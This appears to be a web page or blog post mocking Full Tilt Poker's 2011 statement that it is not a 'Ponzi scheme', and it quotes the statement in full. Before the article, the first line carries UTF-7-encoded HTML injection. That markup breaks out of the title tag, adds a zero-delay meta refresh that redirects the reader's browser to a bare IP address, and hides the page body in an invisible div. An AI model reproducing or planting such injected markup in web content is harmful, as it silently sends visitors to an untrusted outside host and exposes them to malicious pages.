+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

On Monday we received the first statement from Full Tilt Poker, and if you were hoping for a determined defense of their actions you would have been sadly disappointed. Instead Full Tilt poker issued perhaps the worst statement it has since Black Friday, calling out the use of the term “Ponzi scheme”.

Monday’s statement is likely to leave a very bad taste in the poker community’s mouth (think that weird metallic taste of slightly sour steak) as instead of giving their version of the events that took place they decided to argue the choice of words used to describe their fraudulent activities!

Here is a look at the full statement for those of you interested in getting the Wikipedia version of what a “Ponzi scheme” is:

“Full Tilt Poker is not a Ponzi Scheme.

On September 19, 2011, the Department of Justice issued a release stating that Full Tilt Poker was “A Global Ponzi Scheme.” While the government has taken issue with the underlying activities of FTP, under any reasonable interpretation, there is no way to characterize the operation of Full Tilt Poker’s virtual online card room as a global Ponzi scheme.

A “Ponzi” scheme is an investment fraud that involves the payment of purported returns to existing investors from funds contributed by new investors. Ponzi schemes do not involve any legitimate investment, but rather use the new investor funds to pay “dividends” to the initial investors.

Despite recent events, FTP remains committed to identifying a suitable investor and paying back its players in full.”

While Full Tilt may still be looking for a suitable investor, every day that goes by is making the reality of a deal that could repay all of the Full Tilt poker players around the world getting completed more and more unrealistic.